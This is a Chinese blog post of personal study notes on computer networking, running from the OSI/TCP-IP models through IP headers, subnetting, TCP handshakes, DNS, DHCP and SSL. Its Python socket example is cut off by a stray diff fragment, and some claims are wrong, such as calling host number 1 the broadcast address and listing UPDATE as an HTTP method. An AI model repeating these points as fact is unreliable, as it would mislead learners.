class=post-content><p>计算机网络是通用，可编程的硬件组成的，并且这些设备可互连，并且可以传输不同类型的数据</p><p>计算机网络不是只有软件概念，还有硬件设备，例如：网卡，网线，路由器等等</p><p>网络作用范围：广域网（WAN），城域网（MAN），局域网（LAN）</p><p>计算机网络发展历史</p><p>ARPANET（1969年，美国国防部创建的单个网络）</p><p>三层结构互联网（现代互联网雏形，当时主要用于连接美国学校，实验室的计算机，主干网，地区网，校园网）</p><p>多层次ISP互联网（ISP指网络服务提供商（Internet Service Provider），常见网络服务提供商有中国移动，中国电信，中国联通等等）</p><p>多层次ISP互联网，分主干ISP（主要跨国通信），地区ISP（主要局部地区通信，例如广东移动，北京电信等等）</p><p>中国创建了多个公共互联网，例如：中国电信互联网（CHINANET），中国移动互联网（CMNET），中国联通互联网（UNINET），中国教育与科研计算机网（CERNET），中国科学技术网（CSTNET）等等</p><p>计算机网络层次结构（确保数据通信顺通，识别目标计算机的状态，数据是否存在错误）</p><p>层次结构大概分3个，网络应用，数据通信，物理网络</p><p>层次细分的话，有七层，也就是OSI七层模型（OSI国际标准定义的），而且每个层都是独立的（不干预其他层），只完成不同的工作</p><p>OSI七层模型：应用层（为计算机提供服务），表示层（数据处理），会话层（管理通信会话），传输层（管理通信连接），网络层（数据路由），数据链路层（管理节点之间的数据通信，例如传输数据到另一个局域网），物理层（计算机物理设备）</p><p>OSI七层模型并没有成为广泛使用的标准，而是采用TCP/IP四层模型</p><p>TCP/IP四层模型：应用层（对于OSI七层模型的应用，表示，会话，HTTP协议），传输层（OSI七层模型的传输层，TCP/UDP协议），（OSI七层模型的网络层，IP/ICMP协议）网络层，（数据链路层和物理层，ARP/RARP协议）网络接口层</p><hr><hr><p>计算机网络性能指标</p><p>bps=bit/s，1秒多少比特位，比特率</p><p>时延：发送时延（数据bit除以bps），排队时延（数据等待被网络设备处理的时间），处理时延（数据到达目标机器后处理需要的时间），传输时延（传输路径除以bps）</p><p>总时延 = 发送时延+排队时延+传输时延+处理时延</p><p>往返时间RTT（Route-Trip Time）：数据报文在通信中来回一次的时间（可通过ping命令来查看RTT）</p><hr><p>物理层（连接不同的物理设备，传输比特流）</p><p>物理层传输介质：双绞线（又分屏蔽和无屏蔽，区别就是增加了一层屏蔽层），同轴电缆，光纤（通过光传输，光纤内部是具有高折射率的纤芯，能折射光）</p><p>电缆使用铜作为传输介质，光纤通过光来作为传输介质</p><p>铜线中的电信号传播速度大约为2.3*10^8m/s</p><p>光纤中光信号的传播速度是2.0*10^8m/s</p><p>因此实质上电缆的传播速度比光纤快，因为光纤是利用光的反射来传输到远方的，实质光走的距离更长</p><p>但是电缆的铜在远距离的情况下，会导致衰减（主要有2个原因导致，介质损耗（通过电磁波传导，会在介质中产生电场的电荷规则排序，这会消耗能量）和导线损耗），需要通过中继器来延续信号</p><p>因此在跨市，跨城，跨省，跨国使用都是光纤（光纤的带宽比电缆好，也是一个原因），但是短距离，得益于电缆的传播速度，会更好，因此局域网内部大多使用电缆来传输（因为解析光信号，还需要个光信号调制调解器，计算机无法直接使用光纤传输的数据）</p><p>比特流：通过高低电平来表示比特流，来传输数据</p><p>信道（往一个方向传输信息的媒体，一个通信电路最少要有一个发送信道和接收信道）</p><p>信道的分类：单工通信信道（只能往一个方向通信的信道，没有反馈的信道，例如电视机的电视闭路线），半双工通信信道（可以发送和接收信息，但是不能同时发送，同时接收），全双工通信信道（可以同时发送，同时接收）</p><p>物理层会实现信道分用复用技术（提升信道的利用率）</p><p>频分复用，时分复用，波分复用，码分复用</p><hr><p>数据链路层（封装成帧，透明传输，差错监测）</p><p>数据帧：数据链路层中数据的基本单位，数据发送方会在网络层的一段数据的前后添加特定标记，而这一段数据就是数据帧，数据接收方根据特定标记来识别数据帧，是数据链路层内部数据处理成帧</p><p>数据帧也分MAC帧（没有帧尾，因为MAC帧之间是96比特时间，帧头也是没有的，而是让物理层给MAC帧添加8bts的前导码），PPP帧（有帧头和帧尾，帧头到帧尾就是这个帧的长度）</p><p>封装成帧：数据链路层会将网络层交付的数据报文添加帧头和帧尾，让其成为帧</p><p>帧头和帧尾都是特定的控制字符（比特流），帧头（SOH）：00000001，帧尾（EOT）:00000100</p><p>透明传输：数据链路层对网络层提供的数据没有限制（控制字符在帧数据中，但是不会去当成数据去处理，就好像帧头和帧尾不存在一样）</p><p>字节填充（对数据内部的数据填充ESC转义字符），比特填充（零比特填充法：在每5个连续的1后面插入比特0）</p><p>数据链路层规定了帧的数据的长度限制，就是最大传输单元MTU（Maximun Transfer Unit）</p><p>以太网的MTU（MAC帧）是1500字节</p><p>路径MTU：由链路中MTU的最小值决定</p><p>差错监测：因为物理层只负责传输比特流，没有控制出错的功能，因此数据链路层提供了差错监测的功能</p><p>奇偶校验码：在发送的每个字节后加上一位，让字节中为1的数可以是奇数或者偶数，通过奇偶校验来确定数据是否出错，具体可以看https://xiaochenabc123.test.com/archives/77.html这篇文章，讲TCP的可靠性那里</p><p>奇偶校验码的缺点就是如果发生2位的出错，就无法校验出来错误</p><p>循环冗余校验码CRC（根据传输或者保存的数据来产生固定位数的校验码，校验码再附加到数据的后面）</p><p>模二除法：通过异或来表示0或者1，例如00就是0，01就是1，异为1，或为0</p><p>选择用于校验的多项式，并且在数据后面添加多个0，添加多个0的数据，通过模二除法来除以校验的多项式的位串，得到的余数将填充到原来数据的添加多个0的位置，来得到可校验的位串</p><p>假设校验的多项式为X3+X2+1，那么就是原数据后面添加3个0（添加多少个0取决多项式的最高阶，二进制位的最高位也取决于最高阶（最高幂次）二进制位数等于最高阶+1，这里就是表示的二进制位为4位的二进制数），二进制位串位计算就是1<em>x3+1</em>x2+0<em>x1+1</em>x0，就是1101</p><p>例如原数据为1010110，CRC校验码计算就是1010110000除以1101，得到的余数0001就是CRC校验码，在将原来填充0的位置填充CRC，就是10101100001，这个比特流就是要传输的数据</p><p>接收数据进行校验通过，传输的数据除以位串，来得到余数，根据余数来进行判断校验（余数为0则表示数据正确）</p><p>数据链路层只检测数据的错误，不会进行数据的纠错，数据错了，数据链路层将会丢弃错误的数据或者重新传输数据</p><p>MAC地址（物理地址，硬件地址，每个设备都有唯一的MAC地址，用48个比特位来表示，使用16进制）</p><p>MAC地址表：映射MAC地址到硬件接口上</p><p>以太网协议是数据链路层的协议，以太网协议是局域网技术，以太网协议用于完成相邻设备的数据帧传输</p><hr><p>网络层（数据路由，数据在网络传输的路径，跨局域网，跨节点）</p><p>路由器的顶层是网络层，没有使用到传输层和应用层</p><p>网络层的ip协议，子网划分</p><p>虚拟互连网络（物理网络复杂，使用IP协议时，将无需关心物理网络的差异）</p><p>网络层利用IP协议来将使用IP协议的计算机连接起来，就好像这些计算机只需要连接一个虚拟互连网络一样，无需关心底层经过了哪些网关，路由器，ISP等等，将专注于数据的转发工作</p><p>IP协议</p><p>IP地址（v4只有32位，v6有128位），ipv4使用点分十进制表示，使用4组从0到255的数字表示ip地址，ipv6使用冒分十六进制，用8组4位的16进制表示ipv6地址</p><p>IP协议处理数据是数据链路层处理完毕的数据帧的数据，又叫IP数据报，IP数据报包含了目标的IP地址，源IP地址，IP数据，协议数据等等</p><p>IP数据报的4位版本，就是IP协议的版本，使用4位二进制表示，通信双方必须一致（否则无法通信），例如版本4（v4），版本6（v6）</p><p>IP数据报的4位首部长度，是表示IP首部的长度，使用4bit表示，4位填满就是1111，就是15bit，IP数据报限制每行是4个字节（32位bits），15<em>4就是60字节，因此首部最大可以是60个字节，IP数据报最短部分有5行，5</em>4，就是20字节，20字节是IP首部长度最小的值，这个看起来可能有点乱，下面解一下为啥是这样</p><p>首部长度的单位是32bit（4字节），也就是说首部长度0001是表示IP首部有32bit，4个字节，首部长度1111就是4*15（15是二进制1111换算出来的），就是IP首部最大是60个字节</p><p>因为IP数据报最少要有5行，这5行就是最小首部（第六行是可选的），每行4个字节，4*5就是20个字节，IP首部长度最小表示得是20个字节，用4位首部长度表示就是0101（就是5，因为1就表示了4个字节）</p><p>IP数据包的总长度是用16位bit表示，因此最大值为65535（2的16次方），这个总长度表示IP首部+IP数据的总长度，因此一个IP数据包最大是65535字节</p><p>当IP数据包大于MTU时，数据链路层会将IP数据包分片，以确保符合MTU</p><p>IP首部还有个服务类型，用8位表示，前面3位表示优先级，后4位是标志，最后一位是保留位，前面3位，满载就是111，也就是说有7种优先级，这个优先级没有强制性，物理设备也不看</p><p>IP首部标识，占16位，是计数器，相同数据包的标识是相同的（每生产一个数据包就+1），用来数据包的分段，以确保IP数据包能通过MTU限制的数据链路，最后为了数据帧拼装成完整的IP数据包，通过标识来确定，这个标识会被复制到数据帧的标识字段中，相同标识就表示是相同的IP数据包，就可以拼装成完整的数据包了</p><p>IP首部标志，占3位，只有2位有意义，表示该IP数据包是否分片，第一位没有使用，第二位表示DF（Don&rsquo;t Fragment），是否要进行分帧（DF=0时才允许分片），第三位表示MF(More Fragment)，是否后面数据报（MF=0时表示该数据包后面没有了，是最后的包），因此一个允许被分片，并且不是最后一个数据包时，标志表示为001，不允许分帧的话，超过MTU限制的数据包将被丢弃，并且向数据包的源头提示信息</p><p>IP首部片偏移，占13位，表示分片后，该片在原来ip数据包中的相对位置，片偏移是用8个字节为一个偏移单位，因此每个片的长度一定是8字节的倍数</p><p>生存时间TTL，占8位，表示该数据报文在网络中的寿命，经过一个设备TTL会减1，当TTL为0时，该数据报文将被设备丢弃，确保数据报不会一直在互联网的设备中传输，而消耗网络资源</p><p>协议，占8位，表示数据报携带的数据是什么协议的，让网络层知道应该将这个数据给哪个来进行处理，常见的协议取值，1为ICMP，2为IGMP,4为IP，6为TCP，17为UDP</p><p>首部检验和，占16位，用来校验数据报的首部，每经过一个设备，都会重新计算首部检验和，确保首部不出错，出错会被设备丢弃</p><p>IP源地址，占32位，表示发送该IP数据报的机器的IP地址</p><p>IP目标地址，占32位，表示该IP数据报需要到达的目标机器的IP地址</p><p>IP协议转发过程（逐跳（hop-by-hop））</p><p>MAC地址表工作过程：网卡发送数据帧，数据帧抵达路由器，路由器会取前6字节，来匹配MAC地址表，查找该MAC地址对于的网络接口，路由器就可以通过网络接口来对外发送数据帧</p><p>IP路由表和MAC地址表工作过程类似，IP路由表有目标IP地址，以及有要到达该目标IP地址的下一个地址，发出IP数据报，通过查询IP路由表得知，需要将改数据报发送给另一个IP，才能到达就会发送给另一个IP，另一个IP的设备查询路由表，需要给另一个IP，就发送给它，一直到抵达目的地，或者TTL死亡，计算机和路由器都有路由表</p><p>IP路由表是网络设备根据路由协议生成的，windows操作系统可通过route print命令查看本计算机的路由表</p><p>可以看到有5个属性，分别是网络目标（目标的IP）和网络掩码（表示IP地址的哪个标识是当前设备所在的子网），网关（将数据发送给哪个设备，网关又叫下一跳服务器），接口（发送数据包的网络接口，和当前网关是同一个子网）以及跃点数（到达目标需要经过的跃点数量，一个跃点就是一个路由器，TCP/IP协议会选择最低跃点数的路由）</p><p>网络掩码，又叫子网掩码，和IP地址搭配使用，子网掩码也是32位地址，用来屏蔽IP地址的一部分来区别是网络地址和主机地址，RFC950定义，表示网络地址的位都为1，表示主机地址的位都为0，例如192.168.1.2的子网掩码255.255.255.0，表示192.168.1是网络地址，最后的2才是主机地址，因此得到192.168.1.2是属于192.168.1.0这个网络下的，其中主机号为2</p><p>逐跳的过程：网络层通过路由表，知道下一个发送哪个设备来转发数据，网络层将封装IP数据报给数据链路层，并且告知目标的MAC地址是什么，数据链路层将数据帧发送给目标MAC地址，当接收数据帧后，会将数据帧给网络层（这也是为啥路由器最高层是网络层的原因，路由器不需要那么高层的功能），网络层查询路由表，得知下一个目标设备，并且将数据报给数据链路层，告知目标的MAC地址是什么，数据链路层会将数据帧发送给目标设备一直到真正的目标设备为止</p><p>数据帧在每一逐跳中，都会对MAC地址发送改变，但是IP数据报的IP地址不会发生变化</p><p>ARP协议（Address Resolution Protocol，地址解析协议）和RARP协议（Reverse Address Resolution Protocol，逆地址解析协议）</p><p>ARP协议会将网络层的IP32位地址解析成数据链路层的MAC48位地址，ARP缓存表表示IP地址和MAC地址的映射关系，缓存表没有缓存时，ARP会广播，其他设备会回应，ARP将记录设备的IP和MAC地址，ARP缓存表的记录具有期限性</p><p>windows操作系统可通过arp -a命令查看本机的ARP缓存表</p><p>ARP协议报文是直接对数据链路层的数据帧进行封装的</p><p>ARP协议报文由2位的类型，28位的ARP请求应答，18位的PAD填充数据组成</p><p>其中28位的ARP请求应答报文，是由2位硬件类型，2位协议类型，4位标记，6位发送方的以太网地址，4位发送方的IP地址，6位的目标以太网地址，4位的目标IP地址组成</p><p>RARP的工作和ARP是逆操作，RARP协议是将数据链路层的MAC地址解析成IP地址，利用的也是ARP缓存表，RARP报文和ARP报文是一样的类型组成的</p><p>IP地址的子网划分</p><p>IP地址分类，将32位分成网络号，主机号</p><p>A类地址：8位网络号（前一位为0），24位主机号，最小网络号为0，最大网络号为127（01111111），最小主机号为0.0.0，最大主机号为255.255.255</p><p>B类地址：16位网络号（前二位为10），16位主机号，最小网络号为128.0，最大网络号为191.255，最小主机号为0.0，最大主机号为255.255</p><p>C类地址：24位网络号（前三位为110），8位主机号，最小网络号为192.0.0，最大网络号为223.225.255，最小主机号为0，最大主机号为255</p><p>特殊的主机号，主机号为0表示当前网段，主机号为1表示是广播地址，对当前网段的全部设备发送消息用的</p><p>特殊的网络号，A类地址中网络号全为0为特殊网络，例如0.0.0.0，A类地址中网络字段后7位为1是表示回环地址，例如127.0.0.1</p><p>B类地址网络号后14位都为0，例如128.0.0.1，C类网络号后21位为0，例如192.0.0.1</p><p>上面特殊的都是不可使用或者无法分配的</p><p>区别IP地址属于那一类地址，只需要将IP地址的前8位取出来，通过判断前1位到3位来知道，也是可以看前一段IP地址，例如192.168.1.1，这个明显超过A类，B类地址的最大网络号，因此是C类地址</p><p>127.0.0.1本地回环地址（Loopback Address），这个地址不属于任何一个地址类，它表示设备的本地虚拟接口，甚至无网卡也可以ping通该地址</p><p>还有D类地址，开头前4位是1110，E类地址前4位为1111，D类和E类地址用来特殊用途的，例如广播（D类），D类和E类是不区分网络地址和主机地址的</p><p>子网划分就是在网络号主机号的基础上添加子网号，通过子网掩码来匹配网络号</p><p>A类地址的子网掩码是255.0.0.0</p><p>B类地址的子网掩码是255.255.0.0</p><p>C类地址的子网掩码是255.255.255.0</p><p>子网掩码的二进制与IP地址的二进制进行与运算（位相同，并且为1返回1，位不相同，而且为0返回0），得到的运算结果转换为点分10进制，就是该IP属于这个IP的子网</p><p>无分类编址CIDR（Classless Inter-Domain Routing，无类域间路由选择，没有ABC这些网络分类，也没有子网划分）</p><p>CIDR将IP区分为网络前缀和主机号，网络前缀相同就表示是一个CIDR地址块，网络前缀不受限制</p><p>斜线记法，例如192.168.1.2/25，表示前25位为网络前缀，后7位为主机号（2的7次方，就是128，去掉最大和最小的，还有126个ip地址可以分配，而不需要像C类地址一样，直接就分配255-2个地址，造成地址浪费）</p><p>通过斜线记法占据网络前缀，主机号将可以灵活的占用，更有效分配IP地址，减少IP地址分配的浪费</p><p>CIDR的IP地址与子网掩码，进行与运算，可以得到网络号</p><p>网络地址转换NAT技术（解决IPv4地址不够用）</p><p>NAT技术将IP分为内网地址（避免和外网地址重复）和外网地址（又叫公网地址）</p><p>A类内网地址，10.0.0.0到10.255.255.255</p><p>B类内网地址，172.16.0.0到172.31.255.255</p><p>C类内网地址，192.168.0.0到192.168.255.255</p><p>网关以及ISP，服务器使用外网地址，内部局域网使用内网地址</p><p>NAT（Network Address Translation，网络地址转换）：让多个内网设备通过一个公网地址来访问互联网的技术，通过转发端口号来实现，内部的端口号，需要访问外网时，会分配一个新的端口号和新的地址（公网）来表示这个内网端口服务，这样外网访问这个公网的端口时，将可以映射给具体内网的端口服务</p><p>例如常见的NAT穿透技术（就是内网穿透）</p><p>ICMP协议（Internet Control Message Protocol，网际控制报文协议）</p><p>ICMP协议可以报告错误信息和异常信息，搭配IP协议使用</p><p>ICMP协议报文封转在IP数据报的数据中，ICMP协议报文由ICMP报文首部和ICMP报文数据组成</p><p>ICMP报文首部由8位类型（ICMP报文的类型，有2类，分别是差错报告报文，询问报文），8位代码（ICMP报文具体有哪些错误），16位的校验和组成</p><p>差错报告报文的常见类型有3（终点不可达，代码0为网络不可达，1为主机不可达），5（重定向，代码0为网络重定向，1为主机重定向），11（传输超时），12（缺少IP必要参数（1）或者IP头部问题（0））</p><p>询问报文的常见类型有0或者8（回送请求或者应答），13或者14（时间戳请求或者应答），询问报文主要查询网络是否互通，</p><p>使用了ICMP协议的应用有ping（询问报文），traceroute（发送IP数据包到目标需要走哪些路由）</p><p>windows可使用tracert命令来体验traceroute的功能，tracert baidu.com</p><hr><p>传输层（给上层应用层提供通信功能，是数据通信的最高层，传输层实现进程与进程间的通信（跨设备，跨设备））</p><p>传输层协议：TCP协议和UDP协议</p><p>使用不同的端口表示不同的网络进程，端口使用16位表示，（0到65535），端口只对本地有意义，进行网络传输，还需要搭配IP来使用</p><p>传输层对上层应用层起到屏蔽底层的细节的作用，网络层传输点到点的传输，传输层就将点精确到端，进程的传输</p><p>UDP协议（User Datagram Protocol，用户数据报协议）</p><p>应用层传递的数据报，UDP不会对其进行合并，拆分，UDP协议数据报大小取决于上层网络层的数据报</p><p>UDP数据报分为UDP首部，UDP数据报数据（UDP数据报数据就是上层应用层提交的数据）</p><p>UDP首部由16位源端口号（源机器的端口），16位目标端口号（目标机器的端口），16位UDP长度（表示UDP数据报的长度），16位UDP校验和组成，UDP首部是8字节的长度</p><p>UDP无连接（不需要建立连接，直接对目标发送数据报），不保证可靠传输数据（不会感知数据报的发送失败，丢失），面向报文传输（应用层交付的数据报文有多大，UDP就传输多大的UDP协议报文，一次发送一个报文），没有拥塞控制（无法感知网络的拥塞情况，直接交付数据报给网络就完事）</p><p>TCP协议（Transmission Control Protocol，传输控制协议）</p><p>TCP协议报文也是在IP数据报的数据内部的，由TCP首部和TCP数据报数据组成</p><p>TCP是面向连接（需要提前建立连接，才能通信），提供可靠传输（连接管理（3次握手，4次挥手），数据分段（），校验和（校验数据），序号（按顺序发送，收到乱序则丢弃数据），累计确认（接收数据方会发送确认应答，来表示发送的报文收到了），重发机制（定时器，一段时间内无法确认该报文接收到，发送方会重新发送该报文），流量控制（感知对方的接收情况，如果对方接收不够快，会提示对方降低发送频率（调整本地的窗口，并且告知对方窗口值是多少），避免数据报的丢失），拥塞控制（感知网络拥塞情况，能根据拥塞情况来调整数据发送的频率，调整拥塞窗口，避免数据报的丢失），通过这些来保证可靠传输），提供全双工通信，面向字节流传输</p><p>TCP字节流：TCP协议将网络层传输的数据看成字节流，会从字节流中选择长度来创建数据段（拆分），这个数据段就成了TCP数据报的数据，接收方接收数据时，还需要对数据进行排序（根据序号，合并）</p><p>TCP粘包：发送的数据，在接收方被粘在一块了（排序），一个数据包的头部接着另一个数据的尾部，导致原因是接收数据时，并不会马上交付数据，而是存储在流量控制的缓存中，交付数据时就可能读取到TCP粘包</p><p>TCP首部由16位源端口，16位目标端口，32位序号（传输的字节都有唯一序号，表示数据报的数据的第一个字节的序号），32位确认号（表示前面多少个数据收到了，如果有下一个数据请发送给我，例如ack=11，表示前面10个数据已经收到，可以发送第11个数据了，表示期待收到下一个字节序号是什么，传输下一个数据报的数据取决于这个，序号+当前数据长度的和就是下一个数据发送的起点序号），4位数据偏移（首部长度，最大长度1111，就是15，表示有15行，每行4字节，最大60个字节，单位为4字节，长度是20（最少20字节）到60字节之间，表示真实数据距离首部有多长），保留字段，6位的TCP标记（有6位不同的控制位，分别为URG（Urgent，紧急位，URG=1，表示该数据是紧急数据，接收端会更优先获取该数据），ACK（Acknowledgenent，确认位，ACK=1时确认号才生效），PSH（Push，推送位，PSH=1时表示尽快将该数据交付应用层，不需要等缓存填满交付），PST（Reset，重置位，RST=1时通知重新建立TCP连接），SYN（Synchronization，同步位，SYN=1，ACK=0时表示需要连接建立请求，ACK=1时表示连接请求报文），FIN（Finish，终止位，FIN=1时，表示数据发送完成，开始断开连接操作）），16位窗口（表示本地可以接收的数据最大多少，字节为单位，流量控制的基础，可变），16位校验和（差错控制，发送方计算全部数据的校验和，接收方也计算校验和，当接收方的校验和和发送方一致时，数据发送正确），紧急指针（搭配URG控制位使用，指定紧急数据在报文的位置），可选的TCP选项（最大40字节），以及填充（填充32位的整数倍）组成</p><p>TCP首部除了填充，TCP选项外，剩余是固定20个字节的长度的</p><p>可靠传输协议：停止等待协议（发送方发送数据，只有当接收方响应确认后，再发送另一个数据，停止是发送方的停止发送另一个数据，等待是接收方等待数据的传输，获取到了响应一个确认，如果接收方在一段时间内没有响应确认消息，发送方会重发该数据给接收方（超时重传，超时定时器）），连续ARQ协议（连续发送多个报文，批量发送，通过滑动窗口，来确认发送多少个报文，当报文确认号到达，将移动窗口，让其可以发送后面的报文，累计确认）</p><p>TCP可靠传输基于连续ARQ协议，滑动窗口是以字节为单位，窗口首个字节就是确认号（期望下一个发送该字节），发送字节的长度等于确认号+窗口大小，移动窗口的前提是已经接收到确认了，可用窗口等于窗口长度-已发送未确认的，如果窗口首个字节长时间没有确认，将重新传输该窗口的全部字节（哪怕已经接收到）</p><p>因为重传窗口的全部字节效率低，因此有选择重传，可以指定重传的字节，每个字节都有32位序号，提供序号就可以选择性重传，选择重传的数据存储在TCP选项内部，因为TCP首部最大60字节，因此TCP选项最大40字节，也就是10个序号（一个序号4字节），能存储的序号太小，因此实质上存储的是重传的字节边界，重传开头字节到结尾字节，就是2个协号表达一段需要重传的字节，这会增加了重传字节的数量，而不是每次只能重传10个字节，而是能重传数百个，数万个字节，因为丢失字节的数量是非常巨大的，要么没有问题，一出问题就是字节丢失很多</p><p>流量控制（提示发送方的发送数据的频率不要太快（避免接收方处理不及时，而导致数据丢失），通过限制滑动窗口的大小来实现，窗口指明发送的数据量是多少）</p><p>发送方发送数据时携带SEQ序号，表示该报文的序列号，接收方进行响应时，会返回ACK确认号（表明接收到哪个报文了），如果想提示发送方的窗口要设置多大合适，还可以响应一个RWND来表示发送方应该设置窗口大小为这个</p><p>ACK=101，RWND = 1000，将表示下一个发送序号为101的报文，并且窗口为1000，也就是说可以一次传输101到1100之间的报文</p><p>通过窗口大小来通知对方的发送速率，来做到流量控制，超时重传只针对数据的，对于响应消息是不会触发重传的，如果窗口控制的消息丢失了，将可能导致死锁（如果之前设置RWND为0的话，需要等待响应调整窗口，窗口消息丢失，接收方和发送方都在等待对方的回应）</p><p>坚持定时器：当接收到RWND为0的消息时，启动坚持定时器，坚持定时器将每隔一段时间发送窗口探测报文，询问接收方是否有调整窗口的大小的操作，避免因为窗口消息的丢失而死锁的情况发送</p><p>拥塞控制（硬件设备传输速率不同或者网络设备故障，因此存在网络拥塞的情况，例如报文超时，这个也是被认为网络拥塞了）</p><p>拥塞控制算法：慢启动算法（从小到大逐渐增加发送量，当发送的报文接收到了，将增加发送量，逐渐试探网络是否拥塞了，会指数增长发送量，直到慢启动阈值（ssthresh）），拥塞避免算法（当慢启动算法达到慢启动阈值时启动，控制拥塞窗口，会试探扩大拥塞窗口（直线增长），直到发送网络拥塞为止）</p><p>三次握手（通过TCP首部的TCP标记完成，ACK，SYN，FIN）</p><p>第一次握手：SYN=1，seq=x，seq是序号，请求建立连接方向目标发送</p><p>第二次握手：SYN=1，ACK=1，seq=y，ack=x+1，ACK确认收到请求，seq的值是数据序号，ack=x+1，是希望下次接收的数据的序号</p><p>第三次握手：ACK=1，seq=x+1，ack=y+1，ACK确认，seq是当前发送的数据序号，ack是期望下次接收的序号</p><p>发送方负责同步和建立连接，接收方负责监听和同步数据已接收响应，建立连接</p><p>三次握手的作用不只是建立连接，而且还可以同步数据的序号，以及希望下次接收数据的序号，避免失效的请求建立连接报文（超时的）而导致错误，第三次握手消息，会让接收方忽略超时的失效的建立连接报文（因为超时没有响应，会重发请求）</p><p>四次挥手（TCP连接的释放）</p><p>第一次挥手：FIN=1，seq=u，数据传输完毕，需要终止TCP连接</p><p>第二次挥手：ACK=1，seq=v，ack=u+1，被终止方依然可以发送数据，因为只是主动终止方发送完毕数据了，对方并不一定完成了，需要等待对方发送完毕</p><p>第三次挥手：FIN=1，ACK=1，seq=w，ack=u+1，被终止方发送数据完毕，也可以终止了</p><p>第四次挥手：ACK=1，seq=u+1，ack=w+1，请求终止方确认已经接收到对方可终止的请求后发送，可以释放了</p><p>等待计时器：请求终止方需要等待计时器后才进行关闭，而被终止方接收到第四次挥手消息后是立刻关闭，这个计时器又叫2MSL计时器，即报文最大生存时间的2倍（MSL，Max Segment LIfetime，最长报文段寿命，一般为2分钟）</p><p>等待计时器的作用是确保第四次挥手消息到达对方，如果对方在2MSL内没有接收到，会重新发送第三次挥手消息，确保全部报文在连接中失效，端口占用</p><p>套接字（ip和端口的组合，Socket，表示TCP连接的一端，用来数据发送和接收）</p><p>TCP连接使用2个套接字来组成（C/S架构）</p><p>服务端创建套接字，绑定套接字，监听套接字，接收或者处理消息</p><p>客户端创建套接字，连接套接字，发送消息</p><p>套接字编程（使用Python完成）</p><p>服务端</p><pre><code>import socket
 def server():
     s = socket.socket() #创建套接字
     host = '127.0.0.1'
@@ -205,8 +205,8 @@
     s.close() #关闭连接
 if __name__ == '__main__':
     client()
-</code></pre><hr><p>应用层（对接用户的一层，定义应用与应用之间的通信规则）</p><p>应用层常见协议：HTTP，SSH，DNS，FTP，SMTP，POP3，Telnet</p><p>DNS（Domain Name System，域名系统）</p><p>使用域名来代替IP的点分十进制，通过DNS服务，可以将域名映射出源IP地址（这个源可能是源服务器，也可能是代理服务器，缓存服务器，CDN服务器）</p><p>域名由点，数字，字母组成，这个字母不区分大小写，点分割不同域（这里的域主要分顶级域，二级域，三级域）</p><p>例如：blog.xiaochenabc123.test.com，.com就是顶级域，xiaochenabc123.test.com是二级域，blog.xiaochenabc123.test.com是三级域</p><p>顶级域分成通用顶级域和国家（地区）顶级域，例如.cn，.com，.org，.net，.gov</p><p>顶级域搭配二级域就是可以完成一个IP映射服务了</p><p>DNS服务部署在DNS服务器上（域名服务器），根域名服务器（管理所有顶级域，全世界目前只有13台），顶级域名服务器（负责顶级域的DNS解析工作），域名服务器（负责二级域的解析工作）</p><p>DNS解析过程：计算机访问本地域名服务器查询，如果本地域名服务器没有缓存，则直接向根域名服务器请求，这个顶级域是属于哪个顶级域名服务器的，根域名服务器会返回对应的顶级域名服务器信息，本地域名服务器然后对顶级域名服务器查询，这个二级域名应该属于哪个域名服务器，再访问域名服务器，最后获取映射的IP</p><p>本地域名服务器决定了DNS解析的时长，一个好的本地域名服务器可以减少向根，顶级，域名服务器的请求，例如公共域名服务器，114.114.114.114，8.8.8.8，119.29.29.29，223.5.5.5，180.76.76.76</p><p>域名由 ICANN 管理全世界的域名系统工作</p><p>DNS也会被缓存到本地计算机内，浏览器缓存，操作系统缓存，因此实质上是先访问浏览器缓存，没有再访问操作系统缓存，再然后才到本地域名服务器</p><p>DHCP协议（Dynamic Host Configuration Protocol，动态主机设置协议）</p><p>DHCP协议是局域网协议，调用UDP协议的应用层协议，提供即插即用联网服务（不需要手动设置IP，而是使用DHCP协议提供的服务，动态设置IP）</p><p>DHCP协议提供的是临时IP，具有租期性（过期了会回收，当然也可以续租），提供DHCP协议服务的是DHCP服务器，该服务器通过监听默认端口67，计算机通过UDP协议进行广播DHCP发现报文，因为当前计算机还没有分配IP，会通过设置ip的位全为1，就是255.255.255.255为UDP协议报文的ip，表示这个报文是广播报文，DHCP服务器接收到发现报文后发出DHCP提供报文，计算机接收DHCP提供报文，知晓该网络提供DHCP服务，计算机会向DHCP服务器发送DHCP请求报文，DHCP接收请求并且回应，提供IP地址</p><p>HTTP协议（HyperText Transfer Protocol，超文本传输协议）</p><p>HTTP协议是调用TCP协议的应用层协议，基于TCP的数据可靠性传输</p><p>服务端处理过程：接受客户端TCP连接，接收请求报文（HTTP请求方法有很多种，常见的有GET，POST，DELETE，UPDATE，PUT等等），处理请求，访问资源，生成响应报文，发送响应报文给客户端</p><p>请求报文由请求方法，请求地址，HTTP版本，请求头，请求内容组成</p><p>响应报文由HTTP版本，响应状态码，状态解释，响应头，响应内容组成</p><p>HTTPS是在HTTP协议的基础上使用了SSL（Secure Sockets Layer，安全套接层），数字证书加密通信，SSL证书由可信任组织（CA机构）颁发给所有人的，CA机构颁发的证书就叫CA证书，CA证书有很多种，SSL证书是CA证书的一种，数字证书主要由证书序列号，签名算法，有效期，所有人名称，所有人公开密钥组成</p><p>SSL提供了数据加密传输，数据不可篡改等功能，应用层的数据交付给传输层会经过SSL的加密传输</p><p>先进行443端口的TCP连接，SSL安全握手，完成安全握手后就可以对数据进行加密解密</p><p>SSL安全握手的过程：</p><p>客户端向服务端发送协议版本，支持的加密算法，随机数1</p><p>服务端回应，发送确定的加密算法，数字证书，随机数2</p><p>上面2次是不进行加密传输的，下面的才进行加密传输</p><p>客户端会先检查数字证书有效性，使用数字证书提供的公开密钥对随机数3进行加密，并且将加密数据发送给服务端</p><p>服务端接收到加密数据时，使用私有密钥解密这个随机数3</p><p>客户端和服务端会根据之前生成的随机数1，随机数2，随机数3和确认的加密算法生成对称密钥</p><p>客户端和服务端将使用这个对称密钥来进行加密和解密传输，这个对称密钥只有客户端和服务端知道，外人并不知道（因为随机数3是使用数字证书的公钥加密的，这个随机数3只有客户端和服务端解密后知道）</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/>计算机网络</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/157/><span class=title>« Prev</span><br><span>简单使用Element Plus组件库</span></a>
